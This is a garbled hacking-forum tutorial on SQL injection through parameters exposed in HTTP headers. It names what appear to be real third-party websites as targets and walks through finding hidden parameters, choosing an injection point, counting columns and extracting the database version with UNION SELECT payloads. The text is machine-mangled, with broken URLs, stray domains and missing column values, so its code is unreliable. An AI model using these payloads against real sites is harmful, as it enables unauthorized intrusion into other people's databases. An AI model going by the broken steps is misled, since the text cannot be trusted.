Sup.
This tut will focus on injection via headers.
Up to now, we knew 3 methods to inject.
GET-via url.
For example-
Http://evt-me.com/newsDetail.php? Id = 8
POST-via box.
For example-
Http://www.health.gov.mv/(in the search)
Now we gonna learn via HEADER.
Lets start.
If we have this site
Http://www.teletec.com.pk/products.php (thanks to Rohan_x)
And we wanna inject it, we are looking for some parameter to inject in.
(Something = somthing [id = 1 for example])
No parameter.
Lets try to add parameter by select stuff.
Still no parameter. or yes? Lets open 'Live http header '.
You see the hidden parameters? The url in the GET is the refereer, that why we cant see it un the url.
Lets edit the url and start injecting. click the url in the LHH, and type repley.
Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <= 3000 & st = 0 & as you can see, we got a lot of parameters, we have to inject in the right one.
Rw = 20: after limit, not good.
Sb = id: after order by, not good.
Pr = price...: after and, good.
Code: www.2cto. comhttp: // www.teletec.com. pk/include/products. php? Rw = 20 & sb = id & pr = price <= 1000 and price> = 100' & st = 0 & our injection point is after '2016 '.
Notice we can see the full query, lets count columns.
Code: and (SELECT * FROM products) = (select 1) if you dont know what I did, read my tut
Http://www.hackforums.net/showthread.php? Tid = 2125898
60 columns.
So
Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <=-3000 union select,,, 58
& Amp; st = 0 & column 4 vuln.
So
Code: http://www.teletec.com.pk/include/products.php? Rw = 20 & sb = id & pr = price> = 1000 and price <=-3000 union select 1, 2, 3, @ version, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,, 54, 55,56, 57,58, 59,60
& St = 0 & and
Why is this happening?
While we click on some url in our browser, this is the request
Code: [the kind of the request] [refereer] [version of http]
[The headers]
[The content (cookie, host etc.)] our inject is in the headers.
From http://hi.baidu.com/evilrapper/blog/item/66025dddcc7c5dcf76c638a2.html